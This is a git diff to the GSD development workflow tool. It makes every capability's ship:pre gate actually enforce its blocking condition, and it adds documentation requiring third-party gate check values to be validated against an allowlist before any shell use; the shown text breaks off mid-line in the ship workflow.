diff --git a/.changeset/nimble-ravens-hop.md b/.changeset/nimble-ravens-hop.md new file mode 100644 index 000000000..bf8394d76 --- /dev/null +++ b/.changeset/nimble-ravens-hop.md @@ -0,0 +1,5 @@ +--- +type: Fixed +pr: 3608 +--- +**A capability's `ship:pre` gate now actually blocks the ship** — the ship preflight resolved every declared `ship:pre` gate but enforced only the built-in `security` and `broken-windows` capabilities, so any other capability's `blocking: true` gate was resolved, evaluable, and then silently dropped: a phase shipped past its own declared failing condition with nothing evaluated, nothing warned, and nothing logged. Preflight now dispatches every active gate generically — honoring each gate's own `blocking` and `onError` — matching the contract `execute:wave:post`, `execute:post` and `plan:post` already implement. (#3559) diff --git a/CONTEXT.md b/CONTEXT.md index da1c05b4d..932f1cfff 100644 --- a/CONTEXT.md +++ b/CONTEXT.md @@ -296,7 +296,7 @@ A bundle delivering one optional GSD feature, toggled as a unit at install or af Generated description of what the five-step loop (Discuss → Plan → Execute → Verify → Ship) exposes as extension points: per-step loop points, agent roles, and core artifacts. Sourced from structured `` HTML-comment markers embedded near the top of each of the five step workflow files (`discuss-phase.md`, `plan-phase.md`, `execute-phase.md`, `verify-work.md`, `ship.md`). Generated by `scripts/gen-loop-host-contract.cjs` → `gsd-core/bin/lib/loop-host-contract.cjs` (ADR-894 §3 phase 3a-impl-2). Covers exactly the 12 canonical points (discuss:pre/post, plan:pre/post, execute:pre/wave:pre/wave:post/post, verify:pre/post, ship:pre/post). The generator enforces a drift guard: every declared non-orchestrator agent role must correspond to an actual agent reference in the workflow file. Consumed by `gen-capability-registry.cjs` (replaces the former inline `LOOP_HOST_CONTRACT` constant). Run `node scripts/gen-loop-host-contract.cjs --write` after editing a workflow step marker. ### Gate Predicate Evaluator Module -Pure, deps-injected evaluator for capability gate `check.predicate` blocks (#2008, ADR-2008). Prior to #2008 the registry validator accepted `check.predicate` (one of exactly-one-of `query`/`predicate`/`agentVerdict`) and the loop-resolver rendered it, but nothing EVALUATED a declared predicate — only `check.query` was enforced (dispatched via `gsd_run check `), and built-in gates like `security` worked only via hard-coded `capId` prose branches in `ship.md`/`execute-phase.md`/`verify-work.md`. This module is the generic evaluation path: `evaluatePredicate(predicate, context, deps) → { block, message, details? }` dispatches by `predicate.kind` through a `KIND_TABLE`. Built-in kinds: `command-exit-zero` runs a declared command in a bounded `sh -c` subprocess (production binding: `shell-command-projection.execTool`) at the project root, inheriting env; exit 0 ⇒ pass, non-zero ⇒ block, timeout (SIGTERM) ⇒ block; `artifact-frontmatter-equals` resolves a phase or project-level Markdown artifact through injected dependencies and compares a frontmatter field by scalar string value. Command predicates interpolate `${PHASE_NUMBER}`/`${PHASE_DIR}`/`${PHASE_REQ_IDS}` from gate context. A THROWN error (malformed predicate, non-positive/non-finite timeout, command >4096 chars, missing dependencies, unknown kind) maps at the CLI seam to a non-zero check-command exit, which the workflow's two-step gate contract treats as a step-1 command failure routed per `onError` — so an evaluator bug is never conflated with a legitimate block decision. Leaf pure module (no fs/child_process/config — subprocess and artifact seams injected). CLI entry: `gsd_run check predicate --predicate '' [--phase-dir …] [--phase-number …] [--phase-req-ids …] --raw`, wired into `check-command-router.cts:cmdCheckPredicate`; the three generic workflow gate-dispatch sites (`execute:wave:post`, `execute:post`, `plan:post`) branch on `check` shape (`query` vs `predicate`). Source of truth: `src/gate-predicate-evaluator.cts`. Docs: `docs/reference/gate-predicates.md`, `docs/how-to/command-exit-zero-gate.md`. +Pure, deps-injected evaluator for capability gate `check.predicate` blocks (#2008, ADR-2008). Prior to #2008 the registry validator accepted `check.predicate` (one of exactly-one-of `query`/`predicate`/`agentVerdict`) and the loop-resolver rendered it, but nothing EVALUATED a declared predicate — only `check.query` was enforced (dispatched via `gsd_run check `), and built-in gates like `security` worked only via hard-coded `capId` prose branches in `ship.md`/`execute-phase.md`/`verify-work.md`. This module is the generic evaluation path: `evaluatePredicate(predicate, context, deps) → { block, message, details? }` dispatches by `predicate.kind` through a `KIND_TABLE`. Built-in kinds: `command-exit-zero` runs a declared command in a bounded `sh -c` subprocess (production binding: `shell-command-projection.execTool`) at the project root, inheriting env; exit 0 ⇒ pass, non-zero ⇒ block, timeout (SIGTERM) ⇒ block; `artifact-frontmatter-equals` resolves a phase or project-level Markdown artifact through injected dependencies and compares a frontmatter field by scalar string value. Command predicates interpolate `${PHASE_NUMBER}`/`${PHASE_DIR}`/`${PHASE_REQ_IDS}` from gate context. A THROWN error (malformed predicate, non-positive/non-finite timeout, command >4096 chars, missing dependencies, unknown kind) maps at the CLI seam to a non-zero check-command exit, which the workflow's two-step gate contract treats as a step-1 command failure routed per `onError` — so an evaluator bug is never conflated with a legitimate block decision. Leaf pure module (no fs/child_process/config — subprocess and artifact seams injected). CLI entry: `gsd_run check predicate --predicate '' [--phase-dir …] [--phase-number …] [--phase-req-ids …] --raw`, wired into `check-command-router.cts:cmdCheckPredicate`; the four generic workflow gate-dispatch sites (`execute:wave:post`, `execute:post`, `plan:post`, and `ship:pre` — the last wired by #3559, which had resolved gates generically but enforced only two hardcoded `capId`s) branch on `check` shape (`query` vs `predicate`). Source of truth: `src/gate-predicate-evaluator.cts`. Docs: `docs/reference/gate-predicates.md`, `docs/how-to/command-exit-zero-gate.md`. ### Capability Registry Generated central manifest projecting all co-located Capability declarations into one validated artifact for runtime resolution and for the install, surface, config, and loop-extension adapters. Mirrors the research-profiles / package-identity generation pattern (co-located source → generated central file). Generated by `scripts/gen-capability-registry.cjs` → `gsd-core/bin/lib/capability-registry.cjs` (ADR-894 §5 phase 3a-impl). Role-partitioned indexes: `bySkill`, `byAgent`, `byLoopPoint` (hook ordering materialized), `configKeys` (ownership map: key→capId), `configSchema` (full per-key schema: key→{ owner, type, default, description }), `runtimes`, `requiresClosure(id)`. Each feature capability's entry in `capabilities` now includes the optional `activationKey` field (the dotted config key that gates the whole capability, e.g. `"graphify.enabled"`; absent means no config gate). ADR-857 phase 3b adds `configSchema` with validated type/default/description per key, sourced from each capability's `.config` slice. ADR-857 phase 4a adds two derived views: `capabilityClusters` (`{ : [] }` — each cap's skills array, sorted, derived from the capability's `skills` declaration; consistency-gated against the hand-authored `CLUSTERS`) and `profileMembership` (`{ : { tier, profiles: [...] } }` — the tier-derived index: suffix of `PROFILE_RANK` starting at the capability's tier). Both views cover the same capability set: only capabilities that own skills (non-empty `skills` array). The generator enforces a HARD gate (throws) if a capId matching a `CLUSTERS` key has a mismatched skill set, and emits SOFT `⚠ pending-reconciliation` warnings to stderr (never to the file) for skills not yet in the hand-authored profile at the capability's tier. `install` and `surface` are UNTOUCHED (still read hand-authored constants; derived views are emitted and tested but unconsumed until cutover). Validated against the Loop Host Contract (12 points; generated by `gen-loop-host-contract.cjs` from workflow markers, phase 3a-impl-2). Run `node scripts/gen-capability-registry.cjs --write` after editing any `capabilities//capability.json`. @@ -513,7 +513,7 @@ A legal deferred state of an Execute step (`external_job_waiting`): the executor The producer half of the async external-job contract (#1164, part of #1105). Default-off Capability (`capabilities/external-job/capability.json`) that *writes* `.planning/async-jobs/.json` manifests — the only thing that does; core never writes them. SLURM is the first backend (`sbatch --parsable` submit, `squeue` poll with `sacct` fallback, terminal-state mapping); the design stays scheduler-pluggable via the `backend` field (LSF/PBS/Kubernetes batch forward-declared, not built). Contributions inject at `execute:wave:post` into the executor (classify runtime budget → externalize `long_compute`, commit manifest + handoff, return `external_job_waiting`, defer SUMMARY.md) and at `plan:post` into the planner (emit `` quick|medium|unknown|long_compute per task). Activation key `external_job.enabled` (default `false`); sibling keys `external_job.backend`, `external_job.artifact_dir` (default `Artifacts/jobs`, per-job dirs — no fixed log paths, no hardcoded cluster/partition/account), `external_job.submit_timeout_ms` / `external_job.poll_timeout_ms` (bounded subprocesses per CLAUDE.md). Pure producer logic — SLURM state→manifest-status mapping, manifest build/validate, `sbatch`/`squeue`/`sacct` parsers, and the fail-closed manifest writer (refuses a second non-terminal job for a `plan_id` already in flight; refuses to clobber a malformed manifest) — lives in `gsd-core/src/external-job.cts` (generated to `gsd-core/bin/lib/external-job.cjs`); the operator CLI surface is `scripts/slurm-adapter.cjs` (`submit`/`poll`/`show`). Manifest commands are untrusted across the trust seam: `show` surfaces them for confirmation, never auto-runs `submit_command`/`verification_command`/`resume_command`. Test seam: `tests/external-job.test.cjs` (producer behavioral + fast-check property tests; the consumer invariant suite is `tests/external-job-waiting.test.cjs`). ### Broken Windows Ledger -The enforced cross-phase defect register operationalizing GSD's no-defer discipline as a tracked artifact (#1950). Markdown file at `.planning/WINDOWS.md` (project-level, cross-phase) with YAML frontmatter carrying scalar counts (`schema_version`, `open_count`, `waived_count`, `fixed_count`, `total_count`, `last_updated`) for the FAST path the gate reads via jq without parsing JSON, plus a JSON code block as the AUTHORITATIVE entries source; the two cross-check and fail closed on drift. Each entry: `{ id, kind, phase, file, line, description, status, reason, recorded_at, resolved_at }`; kinds are closed (`stub | todo | fixme | skipped-test | lint-warning | unmet-truth | unrun-verify | deviation`); statuses are closed (`open | waived | fixed`). The `broken-windows` Capability (`capabilities/broken-windows/capability.json`) registers one `ship:pre` gate with predicate `artifact-frontmatter-equals WINDOWS.md open_count == 0`; federated config key `workflow.windows_enforce` (default `false` — opt-in enforcement, tracking-only by default so a project can adopt the ledger before turning the gate on). Population is best-effort and never blocks execution: `agents/gsd-executor.md` appends stubs/skipped-tests/unrun-verifies via `gsd_run windows append` after writing SUMMARY.md. Source of truth: `src/broken-windows.cts` → `gsd-core/bin/lib/broken-windows.cjs` (pure `parseLedger`/`renderLedger`/`appendWindow`/`markWaived`/`markFixed` + I/O `cmdWindowsStatus`/`Append`/`Waive`/`MarkFixed`); CLI surface `gsd-tools windows status|append|waive|fixed`. Ship gate enforcement is a `capId == "broken-windows"` branch in `gsd-core/workflows/ship.md` preflight (sibling to the `security` branch); it reads `gsd_run windows status --raw` and fails closed on a non-zero/non-numeric `open_count` (an unparseable ledger is itself a broken window). `/gsd:progress` surfaces the open+waived count. The ledger is optional and backward-compatible: a project with no `.planning/WINDOWS.md` reports `open_count: 0` and ships cleanly, and with `workflow.windows_enforce=false` (the default) ship never blocks on it. Frozen `REASON` enum: `WINDOWS_LEDGER_MISSING | WINDOWS_LEDGER_MALFORMED | WINDOWS_ID_NOT_FOUND | WINDOWS_ALREADY_RESOLVED | WINDOWS_WAIVE_REASON_EMPTY | WINDOWS_INVALID_KIND | WINDOWS_INVALID_FILE | WINDOWS_INVALID_ID | WINDOWS_APPEND_MISSING_FIELD | WINDOWS_USAGE | WINDOWS_OK` — surfaced through `--json-errors` for typed test assertions. Test seam: `tests/broken-windows.test.cjs`. Origin: *The Pragmatic Programmer* Topic 3 (Hunt & Thomas — software transplant of Wilson & Kelling's broken-windows metaphor) plus Cunningham's debt metaphor (decay accrues interest ⇒ accounting, not just habit). +The enforced cross-phase defect register operationalizing GSD's no-defer discipline as a tracked artifact (#1950). Markdown file at `.planning/WINDOWS.md` (project-level, cross-phase) with YAML frontmatter carrying scalar counts (`schema_version`, `open_count`, `waived_count`, `fixed_count`, `total_count`, `last_updated`) for the FAST path the gate reads via jq without parsing JSON, plus a JSON code block as the AUTHORITATIVE entries source; the two cross-check and fail closed on drift. Each entry: `{ id, kind, phase, file, line, description, status, reason, recorded_at, resolved_at }`; kinds are closed (`stub | todo | fixme | skipped-test | lint-warning | unmet-truth | unrun-verify | deviation`); statuses are closed (`open | waived | fixed`). The `broken-windows` Capability (`capabilities/broken-windows/capability.json`) registers one `ship:pre` gate with predicate `artifact-frontmatter-equals WINDOWS.md open_count == 0`; federated config key `workflow.windows_enforce` (default `false` — opt-in enforcement, tracking-only by default so a project can adopt the ledger before turning the gate on). Population is best-effort and never blocks execution: `agents/gsd-executor.md` appends stubs/skipped-tests/unrun-verifies via `gsd_run windows append` after writing SUMMARY.md. Source of truth: `src/broken-windows.cts` → `gsd-core/bin/lib/broken-windows.cjs` (pure `parseLedger`/`renderLedger`/`appendWindow`/`markWaived`/`markFixed` + I/O `cmdWindowsStatus`/`Append`/`Waive`/`MarkFixed`); CLI surface `gsd-tools windows status|append|waive|fixed`. Ship gate enforcement is a `capId == "broken-windows"` named specialization inside `gsd-core/workflows/ship.md` preflight's generic `kind == "gate"` dispatch loop (sibling to the `security` specialization; #3559 made that loop generic, so every OTHER capability's `ship:pre` gate is now evaluated through `gsd_run check predicate` instead of being resolved and silently dropped, while these two keep their bespoke fail-closed reads and are each visited exactly once); it reads `gsd_run windows status --raw` and fails closed on a non-zero/non-numeric `open_count` (an unparseable ledger is itself a broken window). `/gsd:progress` surfaces the open+waived count. The ledger is optional and backward-compatible: a project with no `.planning/WINDOWS.md` reports `open_count: 0` and ships cleanly, and with `workflow.windows_enforce=false` (the default) ship never blocks on it. Frozen `REASON` enum: `WINDOWS_LEDGER_MISSING | WINDOWS_LEDGER_MALFORMED | WINDOWS_ID_NOT_FOUND | WINDOWS_ALREADY_RESOLVED | WINDOWS_WAIVE_REASON_EMPTY | WINDOWS_INVALID_KIND | WINDOWS_INVALID_FILE | WINDOWS_INVALID_ID | WINDOWS_APPEND_MISSING_FIELD | WINDOWS_USAGE | WINDOWS_OK` — surfaced through `--json-errors` for typed test assertions. Test seam: `tests/broken-windows.test.cjs`. Origin: *The Pragmatic Programmer* Topic 3 (Hunt & Thomas — software transplant of Wilson & Kelling's broken-windows metaphor) plus Cunningham's debt metaphor (decay accrues interest ⇒ accounting, not just habit). ### Emitted Artifact Provenance Cross-seam principle (ADR-2719, epic #2719): a committed artifact that is a pure function of the source tree is not reviewable state — it is derived state wearing a review costume, and it must be *attributable* rather than *pinned*. Concept, not a Module: it ships nothing, so it takes no `Module` suffix (follows the `### Resolution Provenance` precedent). Scope is the emitted-artifact family named by `RULESET.EMITTED_ATTRIBUTION`. The principle: every emitted path whose hash moved between `next` HEAD and PR HEAD must be attributable — through a declarative provenance table — to a path the pull request actually changed; unattributable deltas are a hard failure that *names them* rather than an anomaly a reviewer must notice inside 7,500 lines of hex. Totality is enforced, so an emitted path matching no rule fails loudly instead of passing through unattributed. The escape hatch is a committed acknowledgment — a per-PR fragment under `tests/emitted-drift-acks/` (#2914; the legacy single `tests/emitted-drift-ack.json` is still read and unioned in for pre-#2914 branches, with a duplicate key across two sources a hard, loudly-reported error rather than silent last-wins), deliberately not a flag or env var — a fragment appears in the changed-files list ONLY when something rippled unexpectedly, so adding one IS the alarm, whereas today 100% of emitted-byte changes touch fixtures and touching them signals nothing. Fragments exist because the single legacy file, rewritten wholesale by every PR needing an ack, was a guaranteed merge-conflict cell between any two such PRs (5 of 6 conflicting PRs in one open queue collided on it and nothing else) — the same shape `.changeset/` already solves the same way. The same differential machine carries the size ratchet: growth is reported with exact byte deltas and needs the same acknowledgment, so anti-creep survives without pinning a number. Distinguish from the absolute check that remains: `tests/fixtures/install-tree/*.json` stays committed and normally-merged (ADR-2719 §7) because "the installer stopped shipping X" must fail with no attribution reasoning involved. Delivery was phased — #2721 naming + interim merge relief, #2722 provenance table + totality guard, #2723 differential check dual-run beside `golden-install-parity.test.cjs`, #2724 cutover (COMPLETE: the dual-run window observed agreement on real PRs after fixing #2750/#2760, and the golden fixtures/test/generator/merge-driver bridge are now deleted; the differential is the sole gate). The table LANDED in #2722 as `tests/helpers/emitted-provenance.cjs` (19 rules, guarded by `tests/emitted-provenance.test.cjs`); it maps emitted path → repo source and is TOTAL over EVERY emitted path in all 19 manifests — exactly one rule per path, with zero-match, two-match, AND dead-rule (a rule matching nothing) all hard failures, so table rot is loud in both directions. Deliberately NO path/family counts are recorded here: those move with every shipped-content edit, and a hand-maintained number in glossary canon is the exact silent-drift failure this whole seam exists to end. The guard recomputes them from the fixtures on every run — read them from a failure message, never from prose. What IS stable is the rule count, which changes only when a new emitted family or host appears. Note the surface is materially wider than #2722 estimated from `claude.json` alone (its "13 families / 15-20 rules" was a single-runtime sample; the 19-manifest surface spans runtime-specific roots — `.agents/`, `.kimi/hooks/`, `command/`, `agents/subagents/`, `.clinerules/`, `plugins/`, `extensions/`, `.gsd/`, the hermes `skills/gsd/` category and the #69 nested `skills//skills//` layout). Two design invariants carry forward to #2723: emitted SHAPES are hard-coded (deriving them from the installer would make the guard tautological — it would follow any installer change silently), while source PATHS may read a first-party descriptor where that descriptor is the sole declaration (`hostBehaviors.nativePlugin.source`); and attribution is keyed on `(rel, runtime)`, never `rel` alone, because one emitted path has different sources per host (`plugins/gsd-core.js` ← `.opencode/` vs `.kilo/`). Emitted skills attribute to `commands/gsd/*.md`, NEVER the repo `skills/` dir — that dir is itself generated from `commands/gsd` by `scripts/gen-plugin-skills.cjs`, so attributing to it is false attribution that still passes totality. Totality does NOT catch a rule pointing at the WRONG source (the recorded residual); the guard against that is the companion assertion that every attributed source EXISTS in the repo, which caught three real cases while the table was built (Copilot's `.agent.md` rename, Kimi's code-literal `agents/gsd.{yaml,md}` root agent, and Copilot's `hooks/gsd-session.json`). A `sources` entry ending in `/` is a PREFIX, not a file — and prefix matching is SEGMENT-AWARE, so a source of `agents/` must not attribute `agentsfoo/x.md`. The differential check LANDED in #2723 as `tests/helpers/emitted-diff.cjs` (the conservation law, a PURE function — no fs/git/installer/clock) + `tests/helpers/emitted-baseline.cjs` (baseline resolution), guarded by `tests/emitted-attribution.test.cjs`. It ran DUAL beside `golden-install-parity.test.cjs` through the #2723 dual-run window with both green and fixtures untouched; #2724 deleted the golden fixtures/test/generator and the check is now the sole gate. Purity is deliberate and load-bearing: the naive one-big-integration-test shape would need ~38 installer spawns per assertion, so the four failing-first criteria would not in practice get written — which is exactly how a phase ships promised-but-not-built. Buckets are CONSERVED: every moved emitted path lands in exactly one of `attributed | unattributable | acked` (property-tested), and a path the provenance table cannot resolve surfaces as an ERROR rather than a silent skip. Four asymmetries worth knowing: an ADDED emitted key is a ripple too (not just modified ones); `synthesized` paths are exempt but `code-derived` ones are NOT (that is why Phase 2 refused to mark them exempt — exempt means permanently blind); SHRINKAGE needs no ack while growth does (gating shrinkage would punish what the ratchet wants); and a STALE ack is a hard failure — but ONLY for an ack THIS diff wrote or reworded (#2789). An ack is SCOPED TO THE DIFF THAT INTRODUCED IT: `diffEmitted` takes the document at the base ref (`baseAck`, read by `readAckFileAtRef`) alongside the working-tree one, and an entry already present at the base is SPENT — its ripple is absorbed into the base, so it can no longer clear a delta and is never reported stale (surfaced as `spentAcks`, informational, gating nothing). Before #2789 the ack set was the one ABSOLUTE input to an otherwise base-relative machine — `baseline` vs `current`, `changedPaths` from `git diff base...HEAD` — and that mismatch made a MERGED ack indistinguishable from one that never explained anything, since `staleAcks` asks only "did a delta consume you?": merging an ack the PR lane had already accepted reddened `next` and every PR branching off it (#2768). Making spent entries inert is also what finally closes the pre-clearing hazard the original design NAMED but could not prevent — a leftover ack used to silently clear the next ripple on its path; now that ripple must be explained on its own terms, and a reworded reason is how a contributor re-arms an ack deliberately. `baseAck` is REQUIRED once an ack DECLARES ENTRIES (omission is an error, never a silent "inherit nothing", same discipline as `changedPaths`; an entry is the only thing that can be misclassified, so an empty-but-legal document needs no base side). Absent AT THE REF returns null — the healthy steady state — but every other read failure THROWS, and that asymmetry is load-bearing in the direction that is easy to invert: returning null looks armed because every entry stays LIVE, yet a live entry's defining power is that it CONSUMES a delta, so null is armed on the staleness axis and DISARMED on the consumption axis — a genuinely new unexplained ripple on a path carrying an already-merged ack would come back `acked` instead of `unattributable`, silently restoring the whole pre-#2789 gate. `git show` cannot tell absence from fault (both say "does not exist in"), so absence is established with `ls-tree`. Re-arming a spent ack is legitimate and deliberate, but it costs ACTUAL PROSE: the comparison collapses internal whitespace and ignores `runtime`, because a doubled space or a decorative field would otherwise re-arm an ack whose recorded justification still describes the PREVIOUS ripple, showing a reviewer nothing new in the diff. Because a corrupt document ON THE BASE is expensive (it reds every PR carrying an ack until repaired), `scripts/lint-emitted-drift-ack.cjs` runs in `lint:ci` and refuses the merge before one can land — invalid JSON, a non-object, a bad version, a reasonless entry, or a present-but-entryless/`null` document. It is deliberately STANDALONE rather than importing `parseAck` (`scripts/` ships in the npm package and `tests/` does not, so the require would be MODULE_NOT_FOUND once published); the duplication is bounded by a parity test that runs both surfaces over one corpus and fails on any disagreement about schema validity. The two are MEANT to differ on exactly one axis: an entryless or `null` document is legal to PARSE (it is the gate's own absent-equals-no-acks sentinel) and still refused for COMMIT. Deadlock is separately foreclosed at the call site — a tree carrying no ack never reads the base at all, so the PR that DELETES a corrupt file still lands. Each ack source — a fragment under `tests/emitted-drift-acks/`, or the legacy `tests/emitted-drift-ack.json` (#2914; both read and UNIONED via `mergeAckSources`/`readAckSources`/`readAckSourcesAtRef` in `tests/helpers/emitted-diff.cjs` / `emitted-runtime.cjs`, a duplicate key across sources a hard error) — follows the same rule: absent = no acks; a LIVE entry is the alarm, a spent one is inert cruft; requires a non-empty `reason` per path — "name them and say why" is the contract, and a document that parses but is not an object is rejected rather than read as "no acks", which would silently disarm the gate. Baseline is CACHED not committed, keyed on the `next` sha; a stale key is REFUSED, never used — absence fails loudly and gets fixed, whereas staleness produces a confident wrong answer. An explicitly-pointed-at (`GSD_EMITTED_BASELINE`) stale baseline is a hard stop, while a stale CACHE falls through to the in-job build. No baseline-unavailable path may `return` (in `node:test` that is a PASS, not a skip — ADR-2719 §6). Supersedes ADR-2264 §2–§4 and its Amendment; ADR-2264 Phase 1 (`buildParityManifest` and the exclusion constants in `tests/helpers/install-shared.cjs`) is retained and depended upon. diff --git a/gsd-core/references/loop-hook-dispatch.md b/gsd-core/references/loop-hook-dispatch.md index 7e1014aef..9ccae72d7 100644 --- a/gsd-core/references/loop-hook-dispatch.md +++ b/gsd-core/references/loop-hook-dispatch.md @@ -69,6 +69,20 @@ not one shape of one. ### `gate` +**Validate `check` before any shell use.** `check.query` and `check.predicate` come from a +capability manifest, which may be third-party — and `gates[].check` is **not** one of the +executable surfaces the install consent prompt discloses (`hooks`, command modules, +`mcpServers`, reviewer lanes), so a capability can be consented to as declarative-only and +still reach a shell through a gate. Check the query value you read from `activeHooks` against +`^[a-z][a-z0-9-]*( [a-z][a-z0-9-]*)*$` yourself, IN-CONTEXT — **never** by pasting it into a +shell command to be tested there, because a value carrying a quote, `;`, a `` ` ``, `$(`, or a +newline would terminate the assignment and run as its own statement before any shell-side +check could execute. A value that fails is a malformed manifest: record a warning, route it +per the gate's `onError`, and do not run it. Pass `check.predicate` as a **single argv +element** for the same reason — never re-quote it into a shell string, where an apostrophe +would close the literal. This is the identical requirement `step` → `ref.command` carries +above; it was stated there and omitted here, which is the gap #3559 closed. + Evaluate `check` (one of `query`, `predicate`, or `agentVerdict`). Then honor `blocking`: - `blocking: true` → if the check returns `block: true`, surface `check.message` to the user @@ -76,7 +90,7 @@ Evaluate `check` (one of `query`, `predicate`, or `agentVerdict`). Then honor `b - `blocking: false` → advisory only; surface the message but continue regardless of outcome. Honor `onError` if the check itself errors: `skip` means treat as non-blocking and continue; -`fail` means surface the error and stop. +`halt` means surface the error and stop. ## Empty / absent `activeHooks` diff --git a/gsd-core/workflows/execute-phase.md b/gsd-core/workflows/execute-phase.md index 535e18ff6..071868ebe 100644 --- a/gsd-core/workflows/execute-phase.md +++ b/gsd-core/workflows/execute-phase.md @@ -1014,7 +1014,9 @@ increases monotonically across waves. `{status}` is `complete` (success), **If `activeHooks` is empty or absent:** Skip silently to step 5.8. - **For each active entry where `kind == "gate"`** (process in array order), run the gate check — for a `predicate` gate (ADR-2008 / #2008) substitute `gsd_run check predicate --predicate '' --phase-number "${PHASE_NUMBER}" --raw` for the `check.query` form: + ⚠ **Validate `check` before shell use** (third-party manifest input) — `loop-hook-dispatch.md` § `gate`. + + **For each active entry where `kind == "gate"`** (process in array order), run the gate check — a `predicate` gate (ADR-2008 / #2008) substitutes `gsd_run check predicate --predicate '' --phase-number "${PHASE_NUMBER}" --raw`: ```bash GATE_RESULT=$(gsd_run check ${hook.check.query} "${PHASE_NUMBER}" --raw) @@ -1254,14 +1256,14 @@ Code review found issues. Consider running: **Error handling:** If the Skill invocation fails or throws, catch the error, display "Code review encountered an error (non-blocking): {error}" and proceed to gate dispatch. Review failures must never block execution. -**Execute:post gate hook dispatch.** After code review, dispatch all active gate hooks from `EXECUTE_POST_HOOKS_JSON` where `kind == "gate"`. For each, run `gsd_run check ${hook.check.query} "${PHASE_NUMBER}" --raw`, or — for a `predicate` gate (ADR-2008 / #2008) — `gsd_run check predicate --predicate '' --phase-number "${PHASE_NUMBER}" --raw`: +**Execute:post gate hook dispatch.** After code review, dispatch all active gate hooks from `EXECUTE_POST_HOOKS_JSON` where `kind == "gate"`. ⚠ **Validate `check` before shell use** (third-party manifest input) — `loop-hook-dispatch.md` § `gate`. For each, run the form below, or — for a `predicate` gate (ADR-2008 / #2008) — `gsd_run check predicate --predicate '' --phase-number "${PHASE_NUMBER}" --raw`: ```bash GATE_RESULT=$(gsd_run check ${hook.check.query} "${PHASE_NUMBER}" --raw) CHECK_EXIT=$? ``` -**Gate evaluation** uses the same two-step contract as `execute:wave:post` above (Step 1: command-failure → `onError`; Step 2: `block == true` halts a blocking gate; an advisory gate shows its `message`/`table` and continues). +**Gate evaluation** uses the same two-step contract as `execute:wave:post` above. **TDD review escalation (overrides the advisory default for the `tdd.review-checkpoint` gate only).** The tdd `execute:post` gate is declared `blocking: false`, so by the generic contract above it displays its `message`/table and continues. There is ONE documented exception (see `~/.claude/gsd-core/references/execute-mvp-tdd.md`): when `MVP_MODE=true` AND `TDD_MODE=true` AND `GATE_RESULT.block == true` (one or more TDD plans miss a RED or GREEN gate commit), the end-of-phase TDD review escalates from advisory to **blocking under MVP+TDD** — refuse to mark the phase complete and present: diff --git a/gsd-core/workflows/plan-phase.md b/gsd-core/workflows/plan-phase.md index ee8e9040d..1378d6376 100644 --- a/gsd-core/workflows/plan-phase.md +++ b/gsd-core/workflows/plan-phase.md @@ -1384,6 +1384,8 @@ PHASE_REQ_IDS="${PHASE_REQ_IDS:-TBD}" Read the `activeHooks` array from `PLAN_POST_HOOKS_JSON` in-context. If the `gap-analysis` gate hook is absent (capability inactive), skip this step. +⚠ **Validate `check` before shell use** (third-party manifest input) — `loop-hook-dispatch.md` § `gate`. + **For each active entry where `kind == "gate"`** (process in array order). **Dispatch by check shape** (the registry validates exactly one of `query`/`predicate`/`agentVerdict`): ```bash diff --git a/gsd-core/workflows/ship.md b/gsd-core/workflows/ship.md index 91b9f9f05..b0105d195 100644 --- a/gsd-core/workflows/ship.md +++ b/gsd-core/workflows/ship.md @@ -91,9 +91,9 @@ Verify the work is ready to ship: ``` If `gh` not found or not authenticated: provide setup instructions and exit. -6. **Security ship gate (capability-driven).** +6. **Capability ship gates (generic dispatch).** - Resolve active `ship:pre` gate hooks from the capability registry — the registry evaluates each hook's `when` condition, so do **not** read `workflow.security_enforcement` directly: + Resolve active `ship:pre` gate hooks from the capability registry — the registry evaluates each hook's `when` condition, so do **not** read `workflow.security_enforcement` or `workflow.windows_enforce` directly: ```bash SHIP_PRE_HOOKS_JSON=$(gsd_run loop render-hooks ship:pre --raw) @@ -102,57 +102,83 @@ Verify the work is ready to ship: Read the `activeHooks` array from `SHIP_PRE_HOOKS_JSON` in-context (do NOT pipe it through a shell parser). - If an active entry exists with `kind == "gate"`, `capId == "security"`, and `blocking == true`, enforce its predicate (`SECURITY.md` frontmatter `threats_open == 0`) before shipping: + **If `activeHooks` is empty or absent:** skip this check silently and continue to the next preflight step. A capability whose `when` is off contributes no entry, and one that failed to load fails OPEN with its own warning from the resolver — neither is a block. - - **`SECURITY_FILE` is empty** → block with `SECURITY_SHIP_GATE_NO_REVIEW`: - ``` - ⚠ Security enforcement is enabled but no SECURITY.md exists for this phase. - Run /gsd:secure-phase {phase} and resolve findings before shipping. - ``` - - **`SECURITY_FILE` exists** → read its frontmatter `threats_open`. The gate passes **only** when `threats_open` is exactly `0`. For any other value — `threats_open` > 0, or a missing / non-numeric / unparsable field — **fail closed and block** with `SECURITY_SHIP_GATE_OPEN_THREATS` (the predicate is strict equality to `0`; never ship on an ambiguous value): - ``` - ⚠ Security ship gate: SECURITY.md does not assert threats_open == 0 (found: {threats_open|unset}). - Resolve open threats (or re-run /gsd:secure-phase {phase}) before shipping. + **For each active entry where `kind == "gate"`** (process in array order), following `gsd-core/references/loop-hook-dispatch.md`. Entries of any other `kind` are not gates and are not enforced here. Every gate is visited exactly once by this loop — the named branches below are specializations *within* it, never a separate pass, so no gate is evaluated twice. + + **Step 1 — evaluate the gate's `check`.** Dispatch by check shape; read the hook's `check` object in-context to pick the branch (the registry validates exactly one of `query`/`predicate`/`agentVerdict`). Two capability IDs carry a bespoke evaluation whose fail-closed semantics the declared predicate alone does not reproduce — take their branch, then rejoin at step 2: + + - **`capId == "security"`** — enforce against `SECURITY_FILE`: + - **`SECURITY_FILE` is empty** → `block: true`, `SECURITY_SHIP_GATE_NO_REVIEW`: + ``` + ⚠ Security enforcement is enabled but no SECURITY.md exists for this phase. + Run /gsd:secure-phase {phase} and resolve findings before shipping. + ``` + - **`SECURITY_FILE` exists** → read its frontmatter `threats_open`. The gate passes **only** when `threats_open` is exactly `0`. For any other value — `threats_open` > 0, or a missing / non-numeric / unparsable field — **fail closed** with `block: true` and `SECURITY_SHIP_GATE_OPEN_THREATS` (the predicate is strict equality to `0`; never ship on an ambiguous value): + ``` + ⚠ Security ship gate: SECURITY.md does not assert threats_open == 0 (found: {threats_open|unset}). + Resolve open threats (or re-run /gsd:secure-phase {phase}) before shipping. + ``` + + - **`capId == "broken-windows"`** (issue #1950) — enforce against the ledger's typed status. The ledger lives at the **project root** (cross-phase, not phase-scoped): + + ```bash + WINDOWS_STATUS_JSON=$(gsd_run windows status --raw 2>/dev/null || echo '') + WINDOWS_OPEN_COUNT=$(printf '%s' "$WINDOWS_STATUS_JSON" | jq -r '.ledger.open_count // 